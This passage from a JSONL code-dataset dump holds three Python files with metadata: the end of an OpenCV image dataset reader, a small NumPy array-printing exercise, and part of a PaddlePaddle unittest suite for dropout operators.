array\n    Converts the values from [0,255] to [0,1]\n    '''\n    def preprocess(self, img):\n\n        # convert image to gray-scale\n        if self.nr_img_channels == 1:\n            img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n        # preprocess image by resizing it to 227x227\n        pp = cv2.resize(img, (RESIZE_WIDTH, RESIZE_HEIGHT))\n\n        # and convert OpenCV representation to Numpy array\n        # note: asarray does not copy data!\n        #       see \n        pp = np.asarray(pp, dtype=np.float32)\n\n        # map values from [0,255] to [0,1]\n        pp /= 255\n\n        # prepare array of shape width x height x nr_img_channels array\n        pp = pp.reshape((pp.shape[0], pp.shape[1], self.nr_img_channels))\n        return pp\n\n\n    '''\n    Returns a (label, image) tuple\n     where label is a one-hot teacher vector (list)\n     e.g. [0,1] if there are two categories\n     and\n     image is a NumPy array\n     of shape (width, height, 3)\n    '''\n    def get_next_record(self):\n\n        # will return the next training pair\n        # consisting of the input image and a one-hot/teacher label vector\n        if not self.hasNextRecord():\n\n            # Ups! We are at the end of the image list!\n\n            # So generate new random order of images\n\n            # randomly shuffle the data again\n            np.random.shuffle(self.data)\n            self.next_image_nr = 0\n            self.labels, self.filenames = zip(*self.data)\n            category = np.unique(self.labels)\n            self.num_labels = len(category)\n            self.category2label = dict(zip(category, range(len(category))))\n            self.label2category = {l: c for c, l in self.category2label.items()}\n    \n            # prepare ground-truth label information for all images\n            # according to the newly shuffled order of the images\n            self.labels = [self.category2label[l] for l in self.labels]\n\n        # prepare one-hot teacher vector for the output neurons\n        label = self.onehot(self.labels[self.next_image_nr])\n\n        # read in the image using OpenCVs imread()\n        # function and then preprocess it\n        # (i.e., resize it, convert it to a NumPy array,\n        #  convert values from [0,255] to [0,1])\n        img_filename = self.filenames[self.next_image_nr]\n        img_as_np_array = self.preprocess(cv2.imread(img_filename))\n\n        # prepare next image nr to return\n        self.next_image_nr += 1\n\n        # prepare a (label, image) tuple\n        return label, img_as_np_array\n\n\n    '''\n    Given a batch size, this function\n    first creates a list of (label, image)\n    tuples called <records>\n    [(0, img-of-cow), (1, img-of-dog), (0, img-of-cow), ...]\n    and then returns the labels and images as separate\n    tuples\n    '''\n    def nextBatch(self, batch_size):\n\n        # creates a mini-batch of the desired size\n        records = []\n        for i in range(batch_size):\n            record = self.get_next_record()\n            if record is None:\n                break\n            records.append(record)\n        labels, imgs = zip(*records)\n        return labels, imgs\n\n\n'''\nHelper function to provide a list of\nall label info and image files in all\nsubfolders in the the given <imagePath>\n'''\ndef createImageList(imagePath, extensions):\n\n    # 1. start with an empty list of labels/filenames\n    labels_and_filenames = []\n\n    # 2. each subfolder name in imagePath is considered to be\n    #    a class label in stored in categoryList\n    categoryList = [None]\n    categoryList = [c for c in sorted(os.listdir(imagePath))\n                    if c[0] != '.' and\n                    os.path.isdir(os.path.join(imagePath, c))]\n\n    # 3. for each of the categories\n    for category in categoryList:\n        print(\"subfolder/category found =\", category)\n        if category:\n            walkPath = os.path.join(imagePath, category)\n        else:\n            walkPath = imagePath\n            category = os.path.split(imagePath)[1]\n\n        # create a generator\n        w = _walk(walkPath)\n\n        # step through all directories and subdirectories\n        while True:\n\n            # get names of dirs and filenames of current dir\n            try:\n                dirpath, dirnames, filenames = next(w)\n            except StopIteration:\n                break\n\n            # don't enter directories that begin with '.'\n            for d in dirnames[:]:\n                if d.startswith('.'):\n                    dirnames.remove(d)\n\n            dirnames.sort()\n\n            # ignore files that begin with '.'\n            filenames = [f for f in filenames if not f.startswith('.')]\n            # only load images with the right extension\n            filenames = [f for f in filenames if os.path.splitext(f)[1].lower() in extensions]\n            filenames.sort()\n\n            for f in filenames:\n                labels_and_filenames.append([category, os.path.join(dirpath, f)])\n\n    # labels_and_filenames will be a list of\n    # two-tuples [category, filename]\n    return labels_and_filenames\n\n\ndef _walk(top):\n    \"\"\"\n    This is a (recursive) directory tree generator.\n    What is a generator?\n    See:\n    http://stackoverflow.com/questions/231767/what-does-the-yield-keyword-do\n    In short:\n    - generators are iterables that can be iterated only once\n    - their values are not stored in contrast e.g. to a list\n    - 'yield' is 'like' return    \n    \"\"\"\n\n    # 1. collect directory names in dirs and\n    #    non-directory names (filenames) in nondirs\n    names = os.listdir(top)\n    dirs, nondirs = [], []\n    for name in names:\n        if os.path.isdir(os.path.join(top, name)):\n            dirs.append(name)\n        else:\n            nondirs.append(name)\n\n    # 2. \"return\" information about directory names and filenames\n    yield top, dirs, nondirs\n\n    # 3. recursively process each directory found in current top\n    #    directory\n    for name in dirs:\n        path = os.path.join(top, name)\n        for x in _walk(path):\n            yield x\n", "meta": {"hexsha": "c731c2de0c93b62359463ea120615e954a04457e", "size": 10355, "ext": "py", "lang": "Python", "max_stars_repo_path": "TensorBoard/dataset_reader.py", "max_stars_repo_name": "juebrauer/Solutions-Exercises-MultimodalSensorSystems", "max_stars_repo_head_hexsha": "b1f4bae5ce21d992ff740804af07b227d34f828b", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-06-15T11:50:21.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-05T15:52:06.000Z", "max_issues_repo_path": "TensorBoard/dataset_reader.py", "max_issues_repo_name": "juebrauer/Solutions-Exercises-MultimodalSensorSystems", "max_issues_repo_head_hexsha": "b1f4bae5ce21d992ff740804af07b227d34f828b", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "TensorBoard/dataset_reader.py", "max_forks_repo_name": "juebrauer/Solutions-Exercises-MultimodalSensorSystems", "max_forks_repo_head_hexsha": "b1f4bae5ce21d992ff740804af07b227d34f828b", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-05-23T19:10:54.000Z", "max_forks_repo_forks_event_max_datetime": "2021-05-23T19:10:54.000Z", "avg_line_length": 31.9598765432, "max_line_length": 94, "alphanum_fraction": 0.6038628682, "include": true, "reason": "import numpy", "num_tokens": 2451, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43398146480389854, "lm_q2_score": 0.11757214436736566, "lm_q1q2_score": 0.05102413143268478}}
{"text": "import numpy as np\n\nmy_list = [10,20,30,40]\n\narr = np.array(my_list)\n\nprint('Elements :')\nfor ele in arr:\n    print(ele)\n\n# Printing Elements using for loop\n\nnew_list = [[10,20,30],[40,50,60],[70,80,90]]\nmatrix = np.array(new_list)\n\nprint('Elements without list')\n\nfor row in matrix:\n    print(row)\n\nprint('\\nprinting each element of row')\nfor row in matrix:\n    for ele in row:\n        print(ele)\n", "meta": {"hexsha": "a1a21962fca98288927bb51b09c00e9c1dd5c4a3", "size": 398, "ext": "py", "lang": "Python", "max_stars_repo_path": "array_list.py", "max_stars_repo_name": "kaushalfeb/Learning-Numpy", "max_stars_repo_head_hexsha": "c8622db19a7afacb912735e4aec77b195f599a2c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "array_list.py", "max_issues_repo_name": "kaushalfeb/Learning-Numpy", "max_issues_repo_head_hexsha": "c8622db19a7afacb912735e4aec77b195f599a2c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "array_list.py", "max_forks_repo_name": "kaushalfeb/Learning-Numpy", "max_forks_repo_head_hexsha": "c8622db19a7afacb912735e4aec77b195f599a2c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 15.92, "max_line_length": 45, "alphanum_fraction": 0.6608040201, "include": true, "reason": "import numpy", "num_tokens": 113, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4339814648038986, "lm_q2_score": 0.11757212736159103, "lm_q1q2_score": 0.051024124052493805}}
{"text": "#   Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\n\nimport unittest\nimport numpy as np\nimport paddle.fluid.core as core\nfrom op_test import OpTest, skip_check_grad_ci\nimport paddle\nimport paddle.fluid as fluid\nfrom paddle.fluid import Program, program_guard\n\n\nclass TestDropoutOp(OpTest):\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.inputs = {'X': np.random.random((32, 64)).astype(\"float32\")}\n        self.attrs = {'dropout_prob': 0.0, 'fix_seed': True, 'is_test': False}\n        self.outputs = {\n            'Out': self.inputs['X'],\n            'Mask': np.ones((32, 64)).astype('uint8')\n        }\n\n    def test_check_output(self):\n        self.check_output()\n\n    def test_check_grad_normal(self):\n        self.check_grad(['X'], 'Out')\n\n\nclass TestDropoutOpInput1d(OpTest):\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.inputs = {'X': np.random.random((2000, )).astype(\"float32\")}\n        self.attrs = {'dropout_prob': 0.0, 'fix_seed': True, 'is_test': False}\n        self.outputs = {\n            'Out': self.inputs['X'],\n            'Mask': np.ones((2000)).astype('uint8')\n        }\n\n    def test_check_output(self):\n        self.check_output()\n\n    def test_check_grad_normal(self):\n        self.check_grad(['X'], 'Out')\n\n\nclass TestDropoutOp2(TestDropoutOp):\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.inputs = {'X': np.random.random((32, 64)).astype(\"float32\")}\n        self.attrs = {'dropout_prob': 1.0, 'fix_seed': True, 'is_test': False}\n        self.outputs = {\n            'Out': np.zeros((32, 64)).astype('float32'),\n            'Mask': np.zeros((32, 64)).astype('uint8')\n        }\n\n\nclass TestDropoutOp3(TestDropoutOp):\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.inputs = {'X': np.random.random((32, 64, 2)).astype(\"float32\")}\n        self.attrs = {'dropout_prob': 0.0, 'fix_seed': True, 'is_test': False}\n        self.outputs = {\n            'Out': self.inputs['X'],\n            'Mask': np.ones((32, 64, 2)).astype('uint8')\n        }\n\n\n@skip_check_grad_ci(reason=\"For inference, check_grad is not required.\")\nclass TestDropoutOp4(OpTest):\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.inputs = {'X': np.random.random((32, 64)).astype(\"float32\")}\n        self.attrs = {'dropout_prob': 0.35, 'fix_seed': True, 'is_test': True}\n        self.outputs = {\n            'Out': self.inputs['X'] * (1.0 - self.attrs['dropout_prob'])\n        }\n\n    def test_check_output(self):\n        self.check_output()\n\n\n@skip_check_grad_ci(reason=\"For inference, check_grad is not required.\")\nclass TestDropoutOp5(OpTest):\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.inputs = {'X': np.random.random((32, 64, 3)).astype(\"float32\")}\n        self.attrs = {'dropout_prob': 0.75, 'is_test': True}\n        self.outputs = {\n            'Out': self.inputs['X'] * (1.0 - self.attrs['dropout_prob'])\n        }\n\n    def test_check_output(self):\n        self.check_output()\n\n\nclass TestDropoutOp6(TestDropoutOp):\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.inputs = {'X': np.random.random((32, 64)).astype(\"float32\")}\n        self.attrs = {\n            'dropout_prob': 1.0,\n            'fix_seed': True,\n            'is_test': False,\n            'dropout_implementation': 'upscale_in_train'\n        }\n        self.outputs = {\n            'Out': np.zeros((32, 64)).astype('float32'),\n            'Mask': np.zeros((32, 64)).astype('uint8')\n        }\n\n\nclass TestDropoutOp7(TestDropoutOp):\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.inputs = {'X': np.random.random((32, 64, 2)).astype(\"float32\")}\n        self.attrs = {\n            'dropout_prob': 0.0,\n            'fix_seed': True,\n            'is_test': False,\n            'dropout_implementation': 'upscale_in_train'\n        }\n        self.outputs = {\n            'Out': self.inputs['X'],\n            'Mask': np.ones((32, 64, 2)).astype('uint8')\n        }\n\n\n@skip_check_grad_ci(reason=\"For inference, check_grad is not required.\")\nclass TestDropoutOp8(OpTest):\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.inputs = {'X': np.random.random((32, 64)).astype(\"float32\")}\n        self.attrs = {\n            'dropout_prob': 0.35,\n            'fix_seed': True,\n            'is_test': True,\n            'dropout_implementation': 'upscale_in_train'\n        }\n        self.outputs = {'Out': self.inputs['X']}\n\n    def test_check_output(self):\n        self.check_output()\n\n\n@skip_check_grad_ci(reason=\"For inference, check_grad is not required.\")\nclass TestDropoutOp9(OpTest):\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.inputs = {'X': np.random.random((32, 64, 3)).astype(\"float32\")}\n        self.attrs = {\n            'dropout_prob': 0.75,\n            'is_test': True,\n            'dropout_implementation': 'upscale_in_train'\n        }\n        self.outputs = {'Out': self.inputs['X']}\n\n    def test_check_output(self):\n        self.check_output()\n\n\nclass TestDropoutOpWithSeed(OpTest):\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.inputs = {\n            \"X\": np.random.random((32, 64)).astype(\"float32\"),\n            \"Seed\": np.asarray(\n                [125], dtype=\"int32\")\n        }\n        self.attrs = {'dropout_prob': 0.0, }\n        self.outputs = {\n            'Out': self.inputs['X'],\n            'Mask': np.ones((32, 64)).astype('uint8')\n        }\n\n    def test_check_output(self):\n        self.check_output()\n\n    def test_check_grad_normal(self):\n        self.check_grad(['X'], 'Out', max_relative_error=0.05)\n\n\n@unittest.skipIf(\n    not core.is_compiled_with_cuda() or not core.op_support_gpu(\"dropout\"),\n    \"core is not compiled with CUDA or core is not support dropout\")\n@skip_check_grad_ci(reason=\"For inference, check_grad is not required.\")\nclass TestFP16DropoutOp(OpTest):\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.init_test_case()\n\n        x = np.random.random(self.input_size).astype(\"float16\")\n        out = x * (1.0 - self.prob)\n        self.inputs = {'X': OpTest.np_dtype_to_fluid_dtype(x)}\n        self.attrs = {\n            'dropout_prob': self.prob,\n            'fix_seed': self.fix_seed,\n            'is_test': True\n        }\n        self.outputs = {'Out': out}\n\n    def init_test_case(self):\n        self.input_size = [32, 64]\n        self.prob = 0.35\n        self.fix_seed = True\n\n    def test_check_output(self):\n        self.check_output_with_place(core.CUDAPlace(0), atol=1e-3)\n\n\n@unittest.skipIf(\n    not core.is_compiled_with_cuda() or not core.op_support_gpu(\"dropout\"),\n    \"core is not compiled with CUDA or core is not support dropout\")\n@skip_check_grad_ci(reason=\"For inference, check_grad is not required.\")\nclass TestFP16DropoutOp2(TestFP16DropoutOp):\n    def init_test_case(self):\n        self.input_size = [32, 64, 3]\n        self.prob = 0.75\n        self.fix_seed = False\n\n\nclass TestDropoutOpError(unittest.TestCase):\n    def test_errors(self):\n        with program_guard(Program(), Program()):\n\n            def test_Variable():\n                # the input of dropout must be Variable.\n                x1 = fluid.create_lod_tensor(\n                    np.array([-1, 3, 5, 5]), [[1, 1, 1, 1]], fluid.CPUPlace())\n                fluid.layers.dropout(x1, dropout_prob=0.5)\n\n            self.assertRaises(TypeError, test_Variable)\n\n            def test_dtype():\n                # the input dtype of dropout must be float16 or float32 or float64\n                # float16 only can be set on GPU place\n                x2 = fluid.layers.data(\n                    name='x2', shape=[3, 4, 5, 6], dtype=\"int32\")\n                fluid.layers.dropout(x2, dropout_prob=0.5)\n\n            self.assertRaises(TypeError, test_dtype)\n\n\nclass TestDropoutFAPI(unittest.TestCase):\n    def setUp(self):\n        np.random.seed(123)\n        self.places = [fluid.CPUPlace()]\n        if core.is_compiled_with_cuda():\n            self.places.append(fluid.CUDAPlace(0))\n\n    def check_static_result(self, place):\n        with fluid.program_guard(fluid.Program(), fluid.Program()):\n            input = fluid.data(name=\"input\", shape=[40, 40], dtype=\"float32\")\n            res1 = paddle.nn.functional.dropout(x=input, p=0., training=False)\n            res2 = paddle.nn.functional.dropout(\n                x=input, p=0., axis=0, training=True, mode='upscale_in_train')\n            res3 = paddle.nn.functional.dropout(\n                x=input, p=0., axis=0, training=True, mode='downscale_in_infer')\n            res4 = paddle.nn.functional.dropout(\n                x=input, p=0., axis=0, training=False, mode='upscale_in_train')\n            res5 = paddle.nn.functional.dropout(\n                x=input,\n                p=0.,\n                axis=0,\n                training=False,\n                mode='downscale_in_infer')\n            res6 = paddle.nn.functional.dropout(\n                x=input,\n                p=0.,\n                axis=[0, 1],\n                training=True,\n                mode='upscale_in_train')\n            res7 = paddle.nn.functional.dropout(\n                x=input,\n                p=0.,\n                axis=[0, 1],\n                training=True,\n                mode='downscale_in_infer')\n            res8 = paddle.nn.functional.dropout(\n                x=input,\n                p=0.,\n                axis=[0, 1],\n                training=False,\n                mode='upscale_in_train')\n            res9 = paddle.nn.functional.dropout(\n                x=input,\n                p=0.,\n                axis=[0, 1],\n                training=False,\n                mode='downscale_in_infer')\n            res10 = paddle.nn.functional.dropout(x=input, p=1., training=True)\n            res11 = paddle.fluid.layers.dropout(x=input, dropout_prob=0.)\n\n            in_np = np.random.random([40, 40]).astype(\"float32\")\n            res_np = in_np\n            res_np2 = np.zeros_like(in_np)\n\n            exe = fluid.Executor(place)\n            res_list = [\n                res1, res2, res3, res4, res5, res6, res7, res8, res9, res11\n            ]\n            for res in res_list:\n                fetches = exe.run(fluid.default_main_program(),\n                                  feed={\"input\": in_np},\n                                  fetch_list=[res])\n                self.assertTrue(np.allclose(fetches[0], res_np))\n            fetches2 = exe.run(fluid.default_main_program(),\n                               feed={\"input\": in_np},\n                               fetch_list=[res10])\n            self.assertTrue(np.allclose(fetches2[0], res_np2))\n\n    def test_static(self):\n        for place in self.places:\n            self.check_static_result(place=place)\n\n    def test_dygraph(self):\n        for place in self.places:\n            with fluid.dygraph.guard(place):\n                in_np = np.random.random([40, 40]).astype(\"float32\")\n                res_np = in_np\n                res_np2 = np.zeros_like(in_np)\n                input = fluid.dygraph.to_variable(in_np)\n\n                res1 = paddle.nn.functional.dropout(\n                    x=input, p=0., training=False)\n                res2 = paddle.nn.functional.dropout(\n                    x=input,\n                    p=0.,\n                    axis=0,\n                    training=True,\n                    mode='upscale_in_train')\n                res3 = paddle.nn.functional.dropout(\n                    x=input,\n                    p=0.,\n                    axis=0,\n                    training=True,\n                    mode='downscale_in_infer')\n                res4 = paddle.nn.functional.dropout(\n                    x=input,\n                    p=0.,\n                    axis=0,\n                    training=False,\n                    mode='upscale_in_train')\n                res5 = paddle.nn.functional.dropout(\n                    x=input,\n                    p=0.,\n                    axis=0,\n                    training=False,\n                    mode='downscale_in_infer')\n                res6 = paddle.nn.functional.dropout(\n                    x=input,\n                    p=0.,\n                    axis=[0, 1],\n                    training=True,\n                    mode='upscale_in_train')\n                res7 = paddle.nn.functional.dropout(\n                    x=input,\n                    p=0.,\n                    axis=[0, 1],\n                    training=True,\n                    mode='downscale_in_infer')\n                res8 = paddle.nn.functional.dropout(\n                    x=input,\n                    p=0.,\n                    axis=[0, 1],\n                    training=False,\n                    mode='upscale_in_train')\n                res9 = paddle.nn.functional.dropout(\n                    x=input,\n                    p=0.,\n                    axis=[0, 1],\n                    training=False,\n                    mode='downscale_in_infer')\n                res10 = paddle.nn.functional.dropout(\n                    x=input, p=1., training=True)\n                dropout = paddle.fluid.dygraph.Dropout(p=0, )\n                res11 = dropout(input)\n\n            res_list = [\n                res1, res2, res3, res4, res5, res6, res7, res8, res9, res11\n            ]\n            for res in res_list:\n                self.assertTrue(np.allclose(res.numpy(), res_np))\n            self.assertTrue(np.allclose(res10.numpy(), res_np2))\n\n\nclass TestDropoutFAPIError(unittest.TestCase):\n    def test_errors(self):\n        with program_guard(Program(), Program()):\n\n            def test_Variable():\n                # the input of dropout must be Variable.\n                x1 = fluid.create_lod_tensor(\n                    np.array([-1, 3, 5, 5]), [[1, 1, 1, 1]], fluid.CPUPlace())\n                paddle.nn.functional.dropout(x1, p=0.5)\n\n            self.assertRaises(TypeError, test_Variable)\n\n            def test_Variable2():\n                # the input of dropout must be Variable.\n                x1 = fluid.create_lod_tensor(\n                    np.array([-1, 3, 5, 5]), [[1, 1, 1, 1]], fluid.CPUPlace())\n                paddle.nn.functional.dropout(x1, p=0.5, axis=0)\n\n            self.assertRaises(TypeError, test_Variable2)\n\n            def test_dtype():\n                # the input dtype of dropout must be float32 or float64\n                # float16 only can be set on GPU place\n                xr = fluid.data(name='xr', shape=[3, 4, 5, 6], dtype=\"int32\")\n                paddle.nn.functional.dropout(xr, p=0.5)\n\n            self.assertRaises(TypeError, test_dtype)\n\n            def test_pdtype():\n                # p should be int or float\n                x2 = fluid.data(name='x2', shape=[3, 4, 5, 6], dtype=\"float32\")\n                paddle.nn.functional.dropout(x2, p='0.5')\n\n            self.assertRaises(TypeError, test_pdtype)\n\n            def test_pvalue():\n                # p should be 0.<=p<=1.\n                x2 = fluid.data(name='x2', shape=[3, 4, 5, 6], dtype=\"float32\")\n                paddle.nn.functional.dropout(x2, p=1.2)\n\n            self.assertRaises(ValueError, test_pvalue)\n\n            def test_mode():\n                # mode should be 'downscale_in_infer' or 'upscale_in_train'\n                x2 = fluid.data(name='x2', shape=[3, 4, 5, 6], dtype=\"float32\")\n                paddle.nn.functional.dropout(x2, mode='abc')\n\n            self.assertRaises(ValueError, test_mode)\n\n            def test_axis():\n                # axis should be int or list\n                x2 = fluid.data(name='x2', shape=[3, 4, 5, 6], dtype=\"float32\")\n                paddle.nn.functional.dropout(x2, axis=1.2)\n\n            self.assertRaises(TypeError, test_axis)\n\n            def test_axis_max():\n                # maximum of axis should less than dimensions of x\n                x2 = fluid.data(name='x2', shape=[3, 4, 5, 6], dtype=\"float32\")\n                paddle.nn.functional.dropout(x2, axis=[0, 5])\n\n            self.assertRaises(ValueError, test_axis_max)\n\n            def test_axis_min():\n                # minimum of axis should greater equal than 0\n                x2 = fluid.data(name='x2', shape=[3, 4, 5, 6], dtype=\"float32\")\n                paddle.nn.functional.dropout(x2, axis=[0, -1])\n\n            self.assertRaises(ValueError, test_axis_min)\n\n            def test_axis_len():\n                # length of axis should not greater than dimensions of x\n                x2 = fluid.data(name='x2', shape=[3, 4, 5, 6], dtype=\"float32\")\n                paddle.nn.functional.dropout(x2, axis=[0, 1, 2, 3, 4])\n\n            self.assertRaises(ValueError, test_axis_len)\n\n\nclass TestDropoutCAPI(unittest.TestCase):\n    def setUp(self):\n        np.random.seed(123)\n        self.places = [fluid.CPUPlace()]\n        if core.is_compiled_with_cuda():\n            self.places.append(fluid.CUDAPlace(0))\n\n    def test_dygraph(self):\n        for place in self.places:\n            with fluid.dygraph.guard(place):\n                input_np = np.random.random([40, 40]).astype(\"float32\")\n                result_np = input_np\n                input = fluid.dygraph.to_variable(input_np)\n                m = paddle.nn.Dropout(p=0.)\n                m.eval()\n                result = m(input)\n                self.assertTrue(np.allclose(result.numpy(), result_np))\n\n\nclass TestDropout2DFAPI(unittest.TestCase):\n    def setUp(self):\n        np.random.seed(123)\n        self.places = [fluid.CPUPlace()]\n        if core.is_compiled_with_cuda():\n            self.places.append(fluid.CUDAPlace(0))\n\n    def check_static_result(self, place):\n        with fluid.program_guard(fluid.Program(), fluid.Program()):\n            input = fluid.data(\n                name=\"input\", shape=[2, 3, 4, 5], dtype=\"float32\")\n            res1 = paddle.nn.functional.dropout2d(\n                x=input, p=0., training=False, data_format='NCHW')\n            res2 = paddle.nn.functional.dropout2d(\n                x=input, p=0., training=False, data_format='NHWC')\n\n            in_np = np.random.random([2, 3, 4, 5]).astype(\"float32\")\n            res_np = in_np\n\n            exe = fluid.Executor(place)\n            res_list = [res1, res2]\n            for res in res_list:\n                fetches = exe.run(fluid.default_main_program(),\n                                  feed={\"input\": in_np},\n                                  fetch_list=[res])\n                self.assertTrue(np.allclose(fetches[0], res_np))\n\n    def test_static(self):\n        for place in self.places:\n            self.check_static_result(place=place)\n\n    def test_dygraph(self):\n        for place in self.places:\n            with fluid.dygraph.guard(place):\n                in_np = np.random.random([2, 3, 4, 5]).astype(\"float32\")\n                res_np = in_np\n                input = fluid.dygraph.to_variable(in_np)\n\n                res1 = paddle.nn.functional.dropout2d(\n                    x=input, p=0., training=False, data_format='NCHW')\n                res2 = paddle.nn.functional.dropout2d(\n                    x=input, p=0., training=False, data_format='NHWC')\n\n            res_list = [res1, res2]\n            for res in res_list:\n                self.assertTrue(np.allclose(res.numpy(), res_np))\n\n\nclass TestDropout2DFAPIError(unittest.TestCase):\n    def test_errors(self):\n        with program_guard(Program(), Program()):\n\n            def test_xdim():\n                # dimentions of x should be 4\n                x = fluid.data(name='x1', shape=[2, 3, 4, 5, 6], dtype=\"int32\")\n                paddle.nn.functional.dropout2d(x)\n\n            self.assertRaises(ValueError, test_xdim)\n\n            def test_dataformat():\n                # data_format should be 'NCHW' or 'NHWC'\n                x = fluid.data(name='x2', shape=[2, 3, 4, 5], dtype=\"int32\")\n                paddle.nn.functional.dropout2d(x, data_format='CNHW')\n\n            self.assertRaises(ValueError, test_dataformat)\n\n\nclass TestDropout2DCAPI(unittest.TestCase):\n    def setUp(self):\n        np.random.seed(123)\n        self.places = [fluid.CPUPlace()]\n        if core.is_compiled_with_cuda():\n            self.places.append(fluid.CUDAPlace(0))\n\n    def test_dygraph(self):\n        for place in self.places:\n            with fluid.dygraph.guard(place):\n                input_np = np.random.random([2, 3, 4, 5]).astype(\"float32\")\n                result_np = input_np\n                input = fluid.dygraph.to_variable(input_np)\n                m = paddle.nn.Dropout2D(p=0.)\n                m.eval()\n                result = m(input)\n                self.assertTrue(np.allclose(result.numpy(), result_np))\n\n\nclass TestDropout3DFAPI(unittest.TestCase):\n    def setUp(self):\n        np.random.seed(123)\n        self.places = [fluid.CPUPlace()]\n        if core.is_compiled_with_cuda():\n            self.places.append(fluid.CUDAPlace(0))\n\n    def check_static_result(self, place):\n        with fluid.program_guard(fluid.Program(), fluid.Program()):\n            input = fluid.data(\n                name=\"input\", shape=[2, 3, 4, 5, 6], dtype=\"float32\")\n            res1 = paddle.nn.functional.dropout3d(\n                x=input, p=0., training=False, data_format='NCDHW')\n            res2 = paddle.nn.functional.dropout3d(\n                x=input, p=0., training=False, data_format='NDHWC')\n\n            in_np = np.random.random([2, 3, 4, 5, 6]).astype(\"float32\")\n            res_np = in_np\n\n            exe = fluid.Executor(place)\n            res_list = [res1, res2]\n            for res in res_list:\n                fetches = exe.run(fluid.default_main_program(),\n                                  feed={\"input\": in_np},\n                                  fetch_list=[res])\n                self.assertTrue(np.allclose(fetches[0], res_np))\n\n    def test_static(self):\n        for place in self.places:\n            self.check_static_result(place=place)\n\n    def test_dygraph(self):\n        for place in self.places:\n            with fluid.dygraph.guard(place):\n                in_np = np.random.random([2, 3, 4, 5, 6]).astype(\"float32\")\n                res_np = in_np\n                input = fluid.dygraph.to_variable(in_np)\n\n                res1 = paddle.nn.functional.dropout3d(\n                    x=input, p=0., training=False, data_format='NCDHW')\n                res2 = paddle.nn.functional.dropout3d(\n                    x=input, p=0., training=False, data_format='NDHWC')\n\n            res_list = [res1, res2]\n            for res in res_list:\n                self.assertTrue(np.allclose(res.numpy(), res_np))\n\n\nclass TestDropout3DFAPIError(unittest.TestCase):\n    def test_errors(self):\n        with program_guard(Program(), Program()):\n\n            def test_xdim():\n                # dimentions of x should be 5\n                x = fluid.data(name='x1', shape=[2, 3, 4, 5], dtype=\"int32\")\n                paddle.nn.functional.dropout3d(x)\n\n            self.assertRaises(ValueError, test_xdim)\n\n            def test_dataformat():\n                # data_format should be 'NCDHW' or 'NDHWC'\n                x = fluid.data(name='x2', shape=[2, 3, 4, 5, 6], dtype=\"int32\")\n                paddle.nn.functional.dropout3d(x, data_format='CNDHW')\n\n            self.assertRaises(ValueError, test_dataformat)\n\n\nclass TestDropout3DCAPI(unittest.TestCase):\n    def setUp(self):\n        np.random.seed(123)\n        self.places = [fluid.CPUPlace()]\n        if core.is_compiled_with_cuda():\n            self.places.append(fluid.CUDAPlace(0))\n\n    def test_dygraph(self):\n        for place in self.places:\n            with fluid.dygraph.guard(place):\n                input_np = np.random.random([2, 3, 4, 5, 6]).astype(\"float32\")\n                result_np = input_np\n                input = fluid.dygraph.to_variable(input_np)\n                m = paddle.nn.Dropout3D(p=0.)\n                m.eval()\n                result = m(input)\n                self.assertTrue(np.allclose(result.numpy(), result_np))\n\n\nclass TestAlphaDropoutFAPI(unittest.TestCase):\n    def setUp(self):\n        np.random.seed(123)\n        self.places = [fluid.CPUPlace()]\n        if core.is_compiled_with_cuda():\n            self.places.append(fluid.CUDAPlace(0))\n\n    def check_static_result(self, place):\n        with fluid.program_guard(fluid.Program(), fluid.Program()):\n            input = fluid.data(name=\"input\", shape=[40, 40], dtype=\"float32\")\n            res1 = paddle.nn.functional.alpha_dropout(x=input, p=0.)\n            res2 = paddle.nn.functional.alpha_dropout(\n                x=input, p=0., training=False)\n            res3 = paddle.nn.functional.alpha_dropout(x=input, p=1.)\n\n            in_np = np.random.random([40, 40]).astype(\"float32\")\n            res_np = in_np\n            res_np3 = np.zeros_like(in_np)\n\n            exe = fluid.Executor(place)\n            res_list = [res1, res2]\n            for res in res_list:\n                fetches = exe.run(fluid.default_main_program(),\n                                  feed={\"input\": in_np},\n                                  fetch_list=[res])\n                self.assertTrue(np.allclose(fetches[0], res_np))\n            fetches = exe.run(fluid.default_main_program(),\n                              feed={\"input\": in_np},\n                              fetch_list=[res3])\n            self.assertTrue(np.allclose(fetches[0], res_np3))\n\n   